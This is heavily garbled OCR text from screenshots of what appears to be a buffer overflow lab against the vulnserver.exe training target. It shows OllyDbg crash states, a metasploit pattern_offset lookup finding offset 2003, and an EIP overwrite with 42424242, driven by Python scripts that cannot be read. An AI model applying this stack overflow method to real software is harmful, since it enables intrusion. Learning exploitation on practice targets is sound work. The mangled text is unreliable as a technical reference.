O HE 8.5 ol 09ApOAP 1Ap2Ap3Ap4ApSAP6AP7APBAPIAGOAG1AG2AG3Aq4Aq5Aq6Aq7AGBAGOAT
M7 B.0 B.a OAr1Ar2Ar3ArdAr5Ar6Ar7Ar8AroAsOAs1As2As3AS4As5AsSBASTASBASOATOAT]L
HEa el TEERSE | FETURN w0 Rerne 52, At2AL3ATAATSATOALTALBATOAUOAUTAUZAU3Au4AUSAUBAUTAUBAUIAVEAYIAVZA
ool £ FF FE FF|00 40 0D 02|70 £E 42 2] 00 09 o oo * |gozerree | ceFnEsan il vAAVSAVBAYTAVSAY 7 q w 1A% 2 Ax3IAX
e IS [ (22 S M 6 v B B i B S o doorFas|eacorndl v3Av4Av5AVEAYTAYBAYIAWOAWLAWZ AW AWSAWS AWEAWTAWBAWIAXOAX TAX2AX3AX
o e o e (R R R EE R R B8 B R R R BB aezeFFac| | PEFDERGE ’ AAXSAXBAXTAXBAXOAYOAY 1AY2Ay3Ay4AySAYB6AYTAYBAYOAZOAZ1AZ2AZ3AZ4AZ5
HEZEFFAR| | 72FI595E
sbdasado) 0o oo oG g8 0a 0o 0o ga|og oo g2 a|ag g0 oo o Bezorroa|| sanseans Az6Az7Az8Az9Ba0Ba1Ba2Ba3BadBa5BabBa7Ba8BadBbOBb 1Bb2Bb3Bb4BbSBbEB
" BEZEFFAS| | 86850858 o
w— CEEEEREE e G G R G B O BR) O B O B G O BB B aozaFFAC| | 7EFDEGED b7Bb8Bb9BcOBCc1Bc2Bc3Bc4BcSBc6Bc7Bc8BcOBAOBd1Bd2Bd3Bd4Bd5Bd6Bd7Bd
HEZEFFED| | BA8EEEAE 0
apdg3ase) b o2 oG G0 0a 02 b Go|68 00 02 3|68 00 0o O BeeFFES 8Bd9BeOBe1Be2Be3BedBe5Be6Be7Be8BeIBfOBT 1Bf2Bf3Bf4Bf5Bf6Bf7BF8BT9
BEZEFFES| | 0685088 AR~ AD - - - ~ 00~ =1 r [5] =
CECEEEEE| R G G R G B O BR) O B O B G O BB B aozerFec| | eazerFae Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9BhOBh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8BhOB1i0B
HEZEFFCH| | BA8EEEAE . . . . . . . a0 q g = g g q q q qr=1=19
e | 2 0 (R R R A R R R R BB R ee22FFCe|| FFFFFFFF| End of SEH chain 11Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj 7Bj8Bj9BkOBk1Bk
e sk e R ) saerrcs| ckeeeen o " 2Bk3Bk4BKSBKGBK7Bk8BKIB10B11B12B13B14B15B16B17B18B19BnOBM1BM2BM3
e | 2 0 e R i R R R R R R BB R ae2eFFO4| LoazerFeC Bm4Bm5Bm6Bm7Bm8BmIBnOBNn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0BolBo2Bo3Bo4B
§§§§§i§§ gg gg §§ 8 gg gg §§ §§ §§ §§ §§ §§ §§ gg §§ gg gggggggg gégggggg e o osaoaﬂg?sozz:gogffpafgg1E;EqusqpalE;psffpﬁfgﬁ?ffpzs:spgﬂqaﬂg1Bgzaq35q45q55q
aibshe] B ) e e B e (e ) | Y Gu2GFFEd| wbbaGEa E:Bc_]?Bq:::BqQBI OBr1Br2Br3Brd4Br5Br6Br7Br8BroBs0Bs 1BS¢BSJBSdBSSBSEﬁB§i?
e G G o (2 |o) 2 ) B ) o ) o ) ) BASEFFEC| GABHEHAn Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt0BuABulBu2Bu3Bu4BusBu6Bu7Bus
a0403150! 00 00 00 00|00 99 09 09|09 b9 8o o9 99 0o oo o BACErEEd 9Bv0Bv1Bv2Bv3Bv4Bv5Bv6By7Bv8BvIBWOBW1BW2Bw3BwABWS Bw6BwW7BWEBWIB)
AR4EZ197| @6 GP BB HP| PG PG PO BG|GR BO GP PG| AP PA 06 O@ BEZSFFF4| Ba481138) wu lnsery. {Modu LeEnt uxbvbbv 3 LDOW3 ] X
204310| 60 0 90 09|00 oo o2 oa|od 0o 8o 29) 22 o2 go o ~ | Gazorrrc| oampoons Ml 0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By 7By ByQBLGBLl
Module C:\windowshsyswowB4sMS CTF.dI [ | Running Bz BL.)BABLSBLGBJBLL:BLQCaGCaIL CabCa7C o
e . COle[x |« D
BeES S EEE GG R Rright ctrl @ Gﬁ@@ @E@@@nghtctrl




Black Box Exploitation Example

Activities Sat 20:31 e

File Machine View Input Devices Help File Machine View Input Devices Help
* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnsery] =0 | e .ﬁ'sppli... L E Termi...
@ File View Debug Plugins Options  Window Help

P HITRES JJJT|W|H|C|!'|K|B|R|WJ buffLpy (~) - VIM

BEAE1150 FI=H_EEF Regizters (S0Nowtl File Edit View Search Terminal Help
rill EBP, ESP e

83EC 13 3 AABAAAGI

. Crp424 B1e@es( AU DWORD PTR SS:[ESPI, 1 HEAERRE
. FF1E 6CE14BBE|CALL DWORD FTR DS [<AMSUCTt.__set_app_t Freeeres
ES DSFEFFFF | CALL wulnserv. BA461628 BEEEFASE

) HOP
. EDB42& GEBAGE| LEA ESI, DWORD PTR DS: [ESI] QEEEESSS
EE F EEF

: 1SH
. g%ES HoU EBF, ESP LA

g5 FUSH_EBA PPEDFCEZ ntdl L. 7PEOFCEZ

E2EC 14 SUE ESF, 14 "
1 ZBAE as MOU EAY,DWORD PTR 55: [EBP+21 R B a8 R Hfagaadaa
© sEmn HOU EA,DWARD PTR D3: LEAX] g

S5 pAZB 32bit A(FFFFFFFF]

- Eﬁg Eg§ (e (e (epE DS GOZE 225it @(FFFFFFFF) host
. F5 BAS3 325t 7EFODARALFFF)

77 3B Ly lnsery. BR481 1AR H -
If Hoveaco | CHe poy. codeaach 68 GES SEis BFEARAAAARD port

T2 4B JB SHORT wu lnsery.BB4@1167
> BB @G | MY LastErr ERROR_SUCCESS [HE0BEEC0C)

61 AEg 0 ]
» CP4424 B4 @EA|MOY DWORD PTR SS5:[ESP+41,8 BEEEE2EZ (MO, MNE,NE.A, NS, FO, GE. 5]
. CPE424 GEBAEA| MOY OWORD FTR SS:[ESFI, 2
. ES 231Ce@ea | CALL <JHP.&msuvcrt. Slgnal)
S3FS @l CHP EAX, 1
~BF34 FFEEROEE| JE uilniery, AA4E1250
SECAE TEST ERk, ERR

0 (0 (5D )
T EEE S

Hew dump TEZAZEFF| RETURM to kernel22.

BEZEFF2E|] FEFOEBAER
BEZEFF 24| gAAZEFF D04
BEZEFF23|) TTEFSOFZ( RETURN to ntdll.FFE
BEZEFFIC| ]| FEFDESER
BEZEFFAE|] 72FIE3EE
BEZSFFR4 || GREaEEaE
BEZEFFAS| | AAGEEEAE
BEZEFFAC| ] FEFDESRE
BEZEFFE@| ] GREEEEAE

BAREEAAG
BEZEFFEC| | BAZSFFAR
BEZEFFCA| ] BREEEEAE

BEZEFFC4|] FFFFFFFF|End of SEH chain
TrC38410( SE handler
BEEFEEER
BREEEEAE
LEAZZFFEC

BBEBFFDB TTBFO045( RETURH to ntdll.7vE
BE2ZFFOC| @8481138) vu lnserv. Modu LeEnt
BEZEFFER| FEFDESEE
BEZEFFE4| BREEEEAE
BEZSFFES| GREEEEaE
BEZEFFEC| AAGGHEAE
BEZEFFFE
BEZEFFF4| @046811268) vy lnsery. {Modu leEnt
BEZEFFFE| FEFDEBAE
AEZSFFFC| AABREEAER

Module C:\wWindowshsyswowB4 M SCTE il | Running

« - | e ) 2 Top
@ i\ “J . ‘e H *ggral&ﬁ@f{@%@mgmcm

-




Black Box Exploitation Example

Activities Sat 20:32 e

) [5 -

)

-

-

File Machine View Input Devices Help le Machine View Input Devices Help
& OllyDbg - vulnserver.exe - [CPU - thread 0000D0F4] BEEREE  Appli. v Plac & Termi..

@File View Debug Plugins Options Window Help =[5 = t@k i
A A 0 . roo all: ~
Sledx] »lu] v 398] 4 o] ulelmlriwialcls|x]slR]ds] 2
» [Begisters (SDHowt) File Edit View Search Terminal Help
R GZIFFZGE HSCIT “TRON 7.t AabhalAszng .
ECH ARBESSACY
@ E0H AEEEEASE
ESh DOTPPALG ASCII “CoSCHACHICHECHICHAC
"CoSCpBCplCpECpECpdty c£
EBP GF43366F python buffl.py
EST ARAGRAGE
ED] G@EEEREE
EIF |236F43a7
C @ ES @E2E 32hit O(FFFFFFFE)
F 1 CS @@2z 32bit OFFFFFFFF)
A @ S5 BeZE 32bit O(FFFFFFFF)
71 DOS BE2E 32Bit @FFFFFFFF)
S @ FS BOS2 22hit FEFORGABLFFF)
— T 650025 32bic B(FFFFFFFF)
0@ LastErr ERROR_SUCCESS (BBRBEEEE)
EFL @BE1G246 (O, ME,E, BE, NS, FE, GE, LE)
.8, 8.0
a.o, 9.8
.o, 6.0
ENEN 6.0
a.a, 8.0
a.o, 9.8
NN 6.6
Address | Hex dump 4FRPEF43
BAJEZEEE] FF ibasanre i
el BEIFF9ES| 227Bdaal
BZIFFIEC| 43337043
Ba463a20| FF
GZLFFAFA| 7R433478
0a462638| B8
e Al BZLFFF4| 367B4295
BELFFSFS| 43977043
gassesa oo GZLFFFC| 70433270
BA4H3AEA| BB
GZLFFAGE| A714352
0A462678| B8
e sl OZLFFABY| 43317142
BELFFAGE| 71439271
O eiaeda) Gl GZLFFAGEC| 24714333
gaacenajon BZIFFALG| 43357143
BA4HIAER| 66
GZLFFAL4| 71439671
0463008 B8
e sl BZLFFALS| 28714297
BELFFALC| 42957142
gazaseE oo BELFFAZE| 72432072
s et ) () BZiFFAz4| 32724351
BA463106| 66
GZIFFAZE| 43337243
03463116| B8
e 5l BZLFFAZC| 72420472
BZLFFAZE| 6724295
gases e oo GZiFFAZd| 4337724z
gt BZiFFRZS| 7edgaare
AA463150| 66
GZLFFASC| SA7ra42a3
0A403168| BB
el BZLFFA4G| 43317242
GZ1FFA4d| 73439272
gatas el GZ1FFR4S| 34734353
abdnsiaallen AZIFFR4C| 5557345
BA4631A8| B8 - L
e L BZLFFASE| 72433672
Access violation when executing [386F4337] - use Shift+F7/F8/F to pass exception ko program | | Pauzed

Jigg ;-{} u;“| ii!b .:il: [iijj A i)
@ - | ‘ H @%E@L@ﬁ@@@@@mghtctr[ =




Black Box Exploitation Example

Sat 20:33 e

File Machine View Input Devices Help

* OllyDbg - vulnserver.exe - [CPU - thread 0000DO0F4]

@File View Debug Plugins Options Window Help

q(x

-

Bl x| »u] w1

_JT|“4H|C|!|K|B|R|“‘_J 2]

Registers [(SOHowt)

B21FF 2608 ASCIT
BEGACEC
BEGABAGE
BEGAEATC
Bz21FF9ER
EF422E65F
BEGADABE
[al=lalslaleTalc]

S0EF4337
ES BBZE
C

"TRUM ~.:~RaBRalHazZAg

ASCIT "Co3CpACplCp2Cp3Cp4Cy

B FFFFFFFF)
S BREZS 8{FFFFFFFF)
S5 BBZE ZZbit B(FFFFFFFF)
DS BE2E 22bit B(FFFFFFFF)
FS BEEZ Z2bit YEFDAGEEIFFF)
G5 BBZE Z2bit BFFFFFFFF)

ERROR_SUCCESS (B@00@606 )
[HO.ME, E, BE, N5, FE, GE,.LE]

LastErr
BEE 18246

0D (0 ) (50 D
T EE S

Hew dump

42296F42

TEESATA
327E43351
43337A43
Ta432470
SETE42SE
43377A43
TA433870
2E7143239
42217142
71423271
24714333
433671432
71423671
2E714237
43397143
T2422672
22724331
42227242
72433472
36724335
42377242
72422872
3A734333
43317343
7422272
24724222
42367242
TIHISETS

FFoEd
BEIFFIES
BEIFFSEL
B21FFEFE
BEIFFaFd
BEIFFSFS
BEIFFSFC
B2 1FFARE
BE1FFABS
BZ1FFABS
B2 1FFABC
B21FFALE
BEIFFAL4
BE1FFALE
BEIFFALC
BELFFAZE
BE1FFAZ4
BE1FFAZE
BE1FFAZC
BE1FFASEH
B21FFAZ4
BEIFFAZES
BE1FFASC
BEIFFA4E
B21FFA44
BE1FFA4S
BE1FFA4C
BE1FFASE

~

Arccess violation when executing [386F4337] - uze Shift+F7/FB/FS to paszs exception to program

| Fauged

~ ole

e EI| S

B @ tgeP o @ M & 0 & @ Right ctrl

File Machine View Input Devices

B Termi...

Help

root@kali: ~

File Edit View Search Terminal Help

: locate pattern offset
fusr/share metan101t framework/tools/
- fusr/share/metasploit-fram
ffset.rb -q 386F4337
[*] Exact ﬂdtLh at offset 2003

loit/pattern offset.rb
work/tools/exploit/patte

B ¢ bgef o @i @ & [#) right Ctrl




Black Box Exploitation Example

Activities Sat 20:33 e

3

e

File Machine View Input Devices Help File Mach View Input Devices Help

* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnsery] = | .ﬁ'spp“... - E Termi..
@ File View Debug Plugins Options  Window Help

BRI LA HELELE: i
FUSH EEF Regizters (Z0Naut! File Edit View Search Terminal Help
Mol EEF, ESP R

S3EC 18 5
ABEGHAGRE
. CFEd24 G1opas| MOU DWORD PTR SS:[ESFI,1 oEBORAGE

. FFIE &CE14m@@| CALL DWORD PTR OS: [<4mStort.  set_app_t ABEORARE
ES DSFEFFFF | CALL wulnsery. BB461026 BESEFES

e HOP
. EDB42& BEBEEE|LEA ESI, DWORD PTR DS: [ESI] gggggggg
EE F EEF

(ot AB2SF TS

. 10U EEF, ESP
53 PLISH EBH# PPEOFCEE ntdl 1. 7PEOFCEE
. SUE ESF, 14 ;
. ES @AZE 22bit @1FFFFFFFF)
. MOU EAX, OWORD FTR $5: [EBP+21 B (hE S By

g

MU EAX. OWNORD FTR D3: LEAX]

. EEEG HMOU ER, DWORD PTR D3: CEAR] g% BazB Szbiv BIFFFFFFFF) b -
DS BA2E S2bit O(FFFFFFFF) hos T

. 30 91eeece | GMP ERXCaobgosl i

3 i | S ort

If Boceace | ote Pon. codensen F

I S ﬁBUSHDRT Rullns st K LI LastErr ERROR_SUCCESS (80000998)

G 1 AEE 0L} EBH,
» C74424 B4 @0E|MOU DWORD PTR SS:[ESP+4]1,8 @EEae2az (HO,HE, NE, A, NS, FO, 5E, 51 bllf‘fer
. CPEd424 GEBAEE| MOY DWORD FTR SS:[ESFI, 2
. ES 231CE888 CALL <JHP. &msvcrt. Slgnal} 5 3
SoFe a1 CHP EHH, 1
~BF34 FFEEROBE| JE uilniery. AB4E1250
SECE TEST ERX, ERAR

=

[l Fo LT

.AF_INET, socket.SOCK STREAM)

D @ D D
) (50 (0 0D

{{hoét,

FE2AZEFT| RETURM o kernel32.

Lnzs Bl

Hex_dun Bp25FF 9| | PEFDESDE i
8t BOESFF 34| CORESFFD4
s ea2aFFog| [ 7PEFI072| RETURN to ntdl L. 77E

wazarFac| | 7EFDEDE

oozsFFAG | 7zCsesns
oozaFFRe|| DoGeeona
oezaFFAs| | oasoeoas
pazsFFAC| | 7EFDEDEE
oozsFFEG | Donmamoa

[as Tl lla]]
BEZEFFEC(| BEZSFFAR
BEZEFFCA| | BREEEREE

BE2SFFC4 || FFFFFFFF| End of SEH chain
AEZEFFCE(| PPC28410( SE handler
BEE2EARZ
BREEEREE
04| LBAZZFFEC

BEZSFFDZ| FYEFS045| RETURM to ntdll.77E
BE2ZFFOC|) @E481128) vy lnserwv. (Modu LeEnt
BE2EFFEA| FEFDEQEE
BEZEFFE4| GREEDHEE
BEZSFFES| GREEa0aEa
AEZEFFEC| AABEHHEEA
BEZEFFFE

BAZEFFF4 BE461126) vy lnsery. {Modu leEnt
BEZSFFFS| TEFDEQEE
ARZEFFFC| AARGHHEEA

Module C:\wWindowshsyswowBd s SCTE. dil | Running

@ JU -.;||| e .* @ L e uff2.py" 15L, 285C
© - @ ée%;m@m@@mgw




Black Box Exploitation Example

Activities Sat 20:34 @

-
~ File Machine View Input Devices Help File Machine View
* QllyDbg - vulnserver.exe - [CPU - thread 0000D1F0]

@File View Debug Plugins Optiens Window Help

(Bl x| wln] s 3 W 4 ] E[m] 7w E|c|s|K[B|R|.S]
« |Begisters (30wt File Edit View Search Terminal Help
2 ASCIT "TRUM ~.:-ARARAARAARA

BEARDEAE
BEBRAETC
B21CF2EE ASCIT "CCCCCCCCOCCCoCCoinid
41414141
BEERRBAE
BEAROEEE

42424242

ES 32bit @(FFFFFFFF)
c 32bit @CFFFFFFFF)
25 B{FFFFFFFF)

root@kali: ~

0
F3
G2

22bit BIFFFFFFFF)

o LastErr ERROR_SUCCESS (@0880808)
Be@leé246 (MO, ME,E,BE. NS, PE, GE,LE]
il .

=

0 (3 50 030 50 )

T EDEEE

=
=

Hew dum Bl dzazazac)
o = BZI1CFOES| 43454543
e GI1CFIES| 43434243

BEICFOEC| 4345424
BZICFOFE| 43434343
GZICFSF4| 43434343
GEICFOFS| 43434243
BEICFOFC| 4343424%
BZICFADE| 43434343
GZ1CFAGY| 43434243
GEICFABE| 43454243
BZICFARE| 43434343
GZICFALE| 43434343
GEICFAL| 43434243
BEICFALE| 4343424F
BZICFALL| 43434343
GI1CFAZE| 43434243
GEICFAZ| 43454243
BZICFAZE| 43434343
GEICFAZE| 43434343
GEICFASE| 43434243
BEICFAZ| 4343424F
BZICFASE| 43434343
GZ1CFASC| 43434243
GEICFA4E| 43454243
BZICFAdY| 43434343
aE
oo , BZICFASE| 43424343

Access violation when erecuting [42424242] - use Shift+F7/F8/F9 ta pass exception ko program | Fauzed

O - Ole|x[=] D
\\\\ i B ERF =@ @@ ® Right ctrl —@ bg & & @ & [ BB Right ctrl




Black Box Exploitation Example

Sat 20:35 e

File Machine View Input Devices Help File Machine View Input Devices H
* OllyDbg - vulnserver.exe - [CPU - main thread, medule ntdll] L E Termi.. =
Debug  Pluging  Options  Window Help CAES

Log ae-L L EME W E]c ] E[B[R]=]E] EE 2] root@kali: ~
Al [PEEER » f=ters (30Now?) < File Edit View Search Terminal Help

(=] ggggéégg wulnzerv. <Modu leEntryFoint>
Memory Glielt E

TEFDEBEE :
o ' Soosoos vi buff2.py
= e

Windows EEIEE n*d| L. 77B00194 python buff2.py
ES Dpsa 2201t GIFFFFFFFF)
it
Handles a 25 BEZE B{FFFFFFFF)
DS BE2E BLFFFFFFFF)
CPU FS BE53 it FEFODBEELFFF)
G5 PEZE Z2bit BLFFFFFFFF)

SELcEan LastErr ERROF_FILE_MOT_FOUMD [ BEE0HEEZ)
Patches E1,EAX BEBABZE2 (MO, ME, ME, A, MS, PO, 5E, 61

.,
Call stack -

Executable modules

=
=

Breakpoints :

Watches .

References ; n I EEEETETE] o

Runt BEZEFFF4| Be4E1 126 vy lnsery. {Modu LeEnt
un trace BEZSFFFS| GREaEaaE

BEZEFFFC| ARGGSEA8

I @G
) 0 )

Source
Source files
File

Text file

e e

~

uze Shift+F7/F8/F9 to pase exception to program | Pauged

Q‘ :* = | AL
) & bg P o & i {3 @ @ Rright ctrl —Bﬁi@@ @ &7 {3 3 [ right ctrl




Black Box Exploitation Example

Activities Sat 20:35 e

1 g
File Machine View Input Devices Help File Machine View Input Devices Help
3 OllyDbg - vulnserver.exe = Appli.. * Places »  [J Termi.. v Sat 11:05

File View Debug Plugins Options Window Help t@kali:
Blex] »u) i+ 38 9~ L|E|m T wE|c|/)K|B|R] 5] iE]?) root@leall: -
File Edit View Search Terminal Help
t~#
#

# vi buff2.py

- CPU - main thread, module ntdll =] &

» fzters |

aEd4all
@ Executable modules
EBase Size Entiy |Name |File VErs ion |Path

BRJERAGEE| AEEETADE| AE46E1 126 uy lnsery “Usersadmin~Desktopu
G2CERAGE| ABEASA0E| 62501 ACH | essfunc ~Userssadmin~Desktopw
TETZBA8E| AREECAREA( FET216E] | CRYPTEAS| 6. 1. ~Windows sy swowbd-CRYP
BEEEEEEA| PE/AAIAZ| SspiCli . ~Mindows sy swowsd-Sepi
ABBACARA| FE99A472| neyvcrt “indows sy sWoWEd-maIc
FEARBAEE| BBEFEAEE| FSHERSEY | RPCRT4 ~indows~sy swowed~RPCR
TECOBAEE| BEERSEAEE| 7SCI14E0| WS2_32 sllindows sy swonwed-WSZ_
aEa4ca8E| 7SCO7473| KERHELBR ~indows sy swowtd-KERH
ARREEAEE| TE151 782 HST ~Windowsssy swowbd-H5T

TE290E0E| BE1ERE0E| 7E2AZ5CE| kerne 122 ~Windows sy swowEd-kern
' FPEARANG| NER19ARE| TTEE45TE | sechast

#
# python buff2.py
#

p
i

(e inlelylnlntelnlelylnlyl

1
1
a
1.
1.
1
1
1
1

O T T T O T T = T

~indows~Sy sW0WEd -z ach
TPECHAEE| AE1S8A6E ntdll sllindows~SysWOlEd~ntdl

@ Addrezs |Hex durmp

Single step event at ntdll. 77BD01594 - use Shift+F7/F8/F9 to pass exception to pragram Pauzed

@ @ Y . ‘ SO0

@ by P o = M @ {0} (3 [#] Right Ctrl




Black Box Exploitation Example

Activities Sat 20:36 @

File Machine View Input Devices Help File Machine View Input Devices Help

3k OllyDbg - vulnserver.exe v Places v [ Termi.. v Sat1l
File View Debug Plugins Options Window Help t@kali:
‘Bl x] »[n] s+ HG A -+ LiE[M[T|[wH[c]/[k[B[R]-[s] Z[F2] root@kali: ~
File Edit View Search Terminal Help
Actualize ~#

View memory c~#

3 i r
View code in CPU Enter i vi buff2.py
Dump data in CPU :

View names Ctrl+M

python buff2.py

Mark as system DLL

Update .udd file now
CPU - main thread, module ntd = || 2

95024 85 i View executable file joters |
Tre0al3svE2 S03EAZA6 JHP i Saia?1
;;EBS%SB 2042 View all resources

TrEOE1AZ
7rEDE1A4 @ L saics | View resource strings EI @

i)
7PEDR1AS - k5
BOaL e AN e
TrEOA1EA . SErENA M_ln esktapu

EEERREEE | BERE Analyze all modules Usersadmin~Desktopng
;;Eggigg 20 %8 FErzeenG| comal =l indows sy swowsdCRYP
FFEOB1ET TEFIREEE | BRG] X Windows syswowtd~Sspi
TESSRERE | BEEAI C lipboard
TTEOR1ES fEAAERRG| BERFI opy to clipboar
A 7EConRRG| BOAG
FrEDA1ED 1 Sort by
LLEDBiED PECOEEEE GEGd
DRI TE1CEERE | BERE
TrEDE1CE TEZIRERE 0 16| Appearance
FTECEEEE| BEAL
FFEOAICE| El
AL EDRiCE FPECEBEE 661
TFEDBICE
FFEDBLCA
FFEOALCE
7rECAICO| &7 o
7FEDBICE AOD EYTE PTR DS:[EAX1, AL
7FEDE10E ouT 7,.EAX
FFEOALOE AOD EBYTE PTR_DS: [EAR1, AL
7rEOE104 LOOPOME SHORT ntdll. FrEC8107

R
EEX=FEFDEERE
Stack S5:[BEZSFFFS1=08080008

1 = M indows Sy sW0lEd~sech
EEE AEdIT BT TERETE: 2l indows Sy slioled4-ntdl

Address | Hex dum - BEEHEEEHEG
GO4GSAAG| FF FF FF FF| G0 48 00 G676 2& 40 06 60 o8 0 | goscERd 2adalisd
89403010) FF FF FF FF 99 69 90 08| FF FF Fr br oo o o v | 2ISEFFRE) BOR00a0

Single step event at ntdll. 77BD01 94 - uze Shift+F7/F8/F3 to pass exceplion ko program | Pauged
P ® =
@ % |=]] U - ;
5 @ g P & = @ & [ 3 3 Right ctrl bg P & 1@ i@ {3 @ ¥ Right ctrl




Black Box Exploitation Example

Activities Sat 20:36 @

File Machine View Input Devices Help File Machine View Input Devices Help

& OllyDbg - vulnserver.exe Appli.. v Places = B3 Termi.. ¥ Sat 11:06
File View Debug Plugins Options Window Help

Bl x| »u] s #3 2 4 LlE[mT|wH|c]/]|K[B|R[-|S] i root@kali: ~

File Edit View Search Terminal Help

vi buff2.py
CPU—mainthread, medule ntdll . 5
77800000 SE44zd 6 TIOU_ERR, DWORD PTR 55t LESP+4] python buff2.py

7rEDBEE4| CC
7PEDBRAS 8480
7PEDEEES| CC
77EDBRAS
77EDBREA
7TEDBREE
e
77EDBRGE HOP 0900}
TTEDBRGEF| 9B HOP 7PEDB1
7rEDERIG| SB4C24 ad HOU ECH, DWORD PTR 55: [ESP+4]

PPEDEE14| FE4l G4 85 TEST EYTE PTR DS:s[ECR+41,&
77EDEA1S( 74 @5 JE SHORT ntdll.7rED@BIF

7PEDERIA| ES 41108168 CALL ntdll.ZuTestAlert = | =2
7PEDAOIF| ES A1BRABEE HOW ERR, 1§
rii0anss| 56 10 e
7TEDBEES| 803424 OCEZE0DE Ef, DWORD FTR $5: [ESF+20C] NDesk o
TTEDBOEF| Ed: 5500 BORBERG] ECH, DWORD TR FS: L8] E R s
PrEDGEZE| BA_LBEBEOP? Mou EDX, nedl L. PrEDRELE EEEEEE B i P
TrEDEEZE| £983 CWORD FTR D5: [EAXT, ECH e A
7TEDBEE0| 8958 B4 [OL DWORD PTR DS: [EAR+41, EDX e A~FECR
TTEDED4E| E4:AS DABOOEOA DWORD PTR FS:L81, EAX A
TTEDBA4S| B3 FOP EAZ ERoueISE
TPEDEEAT| SOFC24 B LEA ECI,DWORD FTR S5: [ESF+C] S EdlET
7TEDBB4E| FFDB ALL _EAX ek
7rEDEG4D| SBSF_CCA280@E | MOU ECH, DWORD PTR DS: [EDI+2CC] o NDE A~ oah
7PEDERSE| &4: 5960 BOBEEES| MU DWORD PTR FS:0B1,ECK BTN
7PEDGEEA| &R B1 PUSH 1 = —
77EDBRCC| E7 PUSH EDI

7PEDERS0| ES_EEFERBES CALL ntdll.ZuCont inue
7PEDEREE| SEFB HOW EST, EA

Address | Hex durm BERAEEEE

BE4EIEEE| FF HE22FFF4| GE4E112
BEZEFFFS| BEEAEEEE

BE4E2E1E| FF FF FF FF @@ @8 @8 88| FF FF FF FF| @@ B AEFSFFFC| PODREEHG

BE4E3E2E| FF

AE4E3H3E( B0

BE4EIE4E| B8

BE4EIEEE| B8

BE4EIEGE| B8

uze Shift+F7/F8/F9 to pase exception to program | Pauged
@ X% =1 K BRI TR
@ g =@ @ O G ® Right ctrl bg P & 1@ i@ {3 @ ¥ Right ctrl




Black Box Exploitation Example

Activities Sat 20:36 e

File Machine View Input Devices Help File Machine View Input Devices Help
# OllyDbg - vulnserver.exe =N Appli. v Places~ [ Termi.. v Sat 11:06
File View Debug Plugins Options Window Help

‘x| »[n] wi+F 4 A -+ L]E[M[T|[wa[c[/[K[B[R[-[s] [E]?] root@kali: ~

File Edit View Search Terminal Help

vi buff2.py

Mame (label) in current module Ctrl+M EI@ . i ython buff2. py

aedait # 1

Mame in all modules

‘ » psters

Command Ctrl+F Backup
Sequence of commands Ctrl+5 Copy
Constant Binary
Binary string Ctrl+B Assemnble
Label

Comment

All intermodular calls

All commands

All sequences Breakpoint

Run t
All constants un trace

All switches Mew onigin here Ctrl+Gray *
All referenced text strings Goto

User-defined label Eolicsinibume

User-defined comment Search for
Find references to
Address |Hex dump View
BE4EZEEE| FF FF FF FF BE| TE L]
aa4e3616| FF FF FF FF| 08 08 60 08 FE FE FF FF| 00 88 @ Copy to executable

BE4a3626| FF
BE4E26 26 Sg

BE402040 Analysis
BB9403EER

[507]
BE4A3666| 56

Bookmark

Single step event at ntdll. 77ED0194 - use Shift+F7/F8/F9 to pass exce Appearance
- s ~ - . —
Olfe . O |@]X%]|=] S
_ | BORE 5= @@ 0 @ rRight ctrl NS S 2WH DO right il
\ &4




Black Box Exploitation Example

Activities Sat 20:36 e

File Machine View Input Devices Help le Machine View Input Devices Help
¥ OllyDbg - vulnserver.exe Appli.. + Places» [ Termi.. + Sat 11:06
File View Debug Plugins Options Window Help

Bl x| w[n] Wi w1 A i L[ E[miTiwlalelsklwlRLs] == 2]

root@kali: ~

Find all commands == File Edit View Search Terminal Help

| =l

vi buff2.py

; Cancel
CPU - main thread, module ntdll Q

=
TPEDDREE| GE4AZd oA Ti0U_EAR, DWORD FTR 55 [Ear+a] python buff2.py
FrEDBEEG( CC INT=

PrEDAAES 3498

PrEDEaSs| CC
PrE0EEE3
77EDBABA
PrEDAAEE
Frendasn
FPEDBAGE NOP —
FrEDAASE( 38 HOP PPEDB1
PrEDAOiG| SB4C24 ad HOU_ECy,DWORD PTR S5: [ESP+4]
PPEDEGL4| FE4l B4 85 TEST EVTE PTR DS: [ECH+41,6
77EDGALE[- 74 @5 JE"SHORT ntdLL.77EDBB1F
FrEDAALA| ES 41iD@iem CALL ntdll.ZwTestAlert = | ==
PrEDAOLF| BS B1BBREEG HOU ERi,

b gl i
TTEDABES| 8D3424 DCEZEHRR Ef, DWORD FTR S5: [ESP+20C] oRDesk oDy
PPEDAOZF| &4: SEAD_BEEEHHE ; i ER e
PPEDBGZE( BA_1BBEE0P? i B0 | g
TPEDRAZE| S98S MOU DWORD FTR DS [EAX, ECH Iyttt At i
TTEDEBSD| 8958 B4 1MOL DWORD FTR DS:[EAW+d41,EDR e A~RELR
CrEDAGIE| £4:R3 0REEDEAE DWORD PTR FS5:[B1,EAX A

£| Eg FOP EF
C7EDIDGT BDTC24 OC LER EDT DUORD PTR 55t [ESF+C) SHeueHKER
§BSF_CCA2e0a8 | HOU ECH,DUORD PTR DS: [EDI+2CC] e
6415960 BRBERAEN MOU DWORD PTR FS:[81,ECH ZObEd el
TPEDBBEA| 6A B1 PUSH 1 = ~
7PEDARSC| S7 FUSH EDI

FPEDOOED| ES ZEFEEES CALL ntdll.Zwlont inus
FrEDGREE| SEFE HOU_EST, EAS

HEAEEEEE
L2t SIS

Address s dun BEZZFFF4| @a4a1138
I BE2ZFFFS| A0S0
BE4E2a16) FF
BE4A2IA2E| FF BE2ZFFFC|) EO0EE0EE
BE4AIAZ6| Ba
BE4A3046)| BE
BE4EIECE) HE
BEIASAEE| @A

Single step event at ntdll. 77BD0194 - uze Shift+F7/FB/F9 to pazs exception ko program | Pauzed

e - Ol@x[n] D
R R et e




Activities

Black Box Exploitation Example

Sat 2036 @

File Machine View

Input Devices Help

& OllyDbg
File Wiew

- vulnserver.exe

Debug  Plugins

Options  Window Help

B4

1] Wi+

U 2 =+ LE[M[T|w[H]c|/]|K[B|R]-]5]

